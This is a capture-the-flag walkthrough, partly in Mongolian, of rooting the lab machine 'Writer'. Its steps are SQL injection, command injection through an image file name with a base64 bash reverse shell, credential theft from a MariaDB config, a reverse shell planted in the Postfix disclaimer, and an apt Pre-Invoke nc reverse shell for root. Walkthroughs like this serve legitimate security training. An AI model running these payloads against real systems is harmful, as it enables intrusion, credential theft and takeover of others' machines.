1. IP Address

# Machine Address
10.10.11.101

# Local Address
10.10.14.31

2. Nmap

sudo nmap -sC -sV -oA nmap/writer 10.10.11.101
# Nmap 7.91 scan initiated Fri Sep  3 10:52:33 2021 as: nmap -sC -sV -oA nmap/writer 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.21s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 13m54s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-03T15:06:47
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  3 10:52:58 2021 -- 1 IP address (1 host up) scanned in 25.18 seconds

3. Gobuster

gobuster dir -u http://10.10.11.101 -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -o gobuster.out
/contact              (Status: 200) [Size: 4905]
/logout               (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/about                (Status: 200) [Size: 3522]
/static               (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/.                    (Status: 200) [Size: 11976]
/dashboard            (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/server-status        (Status: 403) [Size: 277]
/administrative       (Status: 200) [Size: 1443]

administrative

4. SQLMap

SQL Injection үзсэн, логин хийгээгүй:

'or 1=1 -- -

Тэхээр нь Burp логин хийж байгаа хүсэлтийг файл хэлбэрээр хадаглах:

POST /administrative HTTP/1.1
Host: 10.10.11.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://10.10.11.101
DNT: 1
Connection: close
Referer: http://10.10.11.101/administrative
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

uname=admin&password=admin

Терминал:

sqlmap -r login.req --level 5 --risk 3 --threads 10

Үр дүн:

---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-1182' OR 8638=8638-- ITHB&password=admin
---

Testing

sqlmap -r login.req --dump-all

Цаашаа уншаад хэрэгтэй зүйл буцаагаагүй. Хэрэгтэй output-г аваад логин хийж орсон.

5. Image Upload

init.py

if request.form.get('image_url'):
	    image_url = request.form.get('image_url')
	    if ".jpg" in image_url:
		try:
		    local_filename, headers = urllib.request.urlretrieve(image_url)
		    os.system("mv {} {}.jpg".format(local_filename, local_filename))
		    image = "{}.jpg".format(local_filename)
		    try:
			im = Image.open(image) 
			im.verify()
			im.close()
			image = image.replace('/tmp/','')
			os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
			image = "/img/{}".format(image)
		    except PIL.UnidentifiedImageError:
			os.system("rm {}".format(image))
			error = "Not a valid image file!"
			return render_template('add.html', error=error)

Post хэсэгт image upload хийхээр болсон.

echo -n "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" | base64
touch '1.jpg; `echo <BASE64 ENCODED PAYLOAD> | base64 -d | bash `;'

Бэлдээд stories хэсгийн зургийг re-upload хийнэ. Орсон эсэхийг static/img-с ороод шалган орсон байгаа бол энэ удаад burp - дамжуулж image_url хэсгийг өөрчилнө. Image нэр хэсэгт jpg хэсгийн ар талыг арилгав.

file:///var/www/writer.htb/writer/static/img/1.jpg; `echo <ENCHODED PAYLOAD> | base64 -d | bash `;

6. Enumeration

Services шалгаж үзнэ

### ss -tupln

/etc/mysql/mariadb.cnf - с username, password хараж болохоор байна.

www-data@writer:$ cd /etc/mysql
www-data@writer:/etc/mysql$ ls
conf.d
debian-start
debian.cnf
mariadb.cnf
mariadb.conf.d
my.cnf
my.cnf.fallback
www-data@writer:/etc/mysql$ cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

Кyle-н нууг үг олох:

mysql -u djangouser -h 127.0.0.1 -p
DjangoSuperPassword

show databases;

use dev;

show tables;

SELECT * FROM auth_user;

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=

hashcat ашгилаад тайлах бололтой. Мэдэхгүй болохоор бэлэн тайлсан үг ашиглсан. (marcoantonio)

Kyle-р дамжаад John руу

ssh kyle@writer.htb

Мэйл илгээж disclaimer-р г trigger хийгээд дотор нь reverse shell хийнэ. /etc/postfix/disclaimer

bash -i &>/dev/tcp/<YOUR IP>/<PORT> 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

Эхний мөр trigger хийнэ.

#!/usr/bin/env python3

import smtplib

host = '127.0.0.1'
port = 25

From = 'kyle@writer.htb'
To = 'john@writer.htb'

Message = '''\
 Subject: HI THERE! JOHN
 OOPS I GOT YOU MATE.
'''

try:
        io = smtplib.SMTP(host,port)
        io.ehlo()
        io.sendmail(From,To,Message)
except Exceptions as e:
        print (e)
finally:
        io.quit()
python3 script.py

nc асаагаад тэгээд John руу орохыг хүлээнэ. John ороод id_rsa авна. Хуулж аваад ssh хийхээс өмнө chmod 600 хийгээд нэвтрэн орно.

ssh -i id_rsa john@writer.htb

John /etc/apt/apt.conf.d - бичилт хийх боломжтой байна. Management group-т байна.

pspy64s суулгана. Local

mkdir www
cd www
mv ~/dir/pspy64s .
python3 -m http.server

Machine

curl <local ip>:8000/pspy64s -o pspy64s
chmod +x pspy64s
./pspy64s

7. Exploitation

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR IP> <PORT> >/tmp/f"};' > /etc/apt/apt.conf.d/00-pwn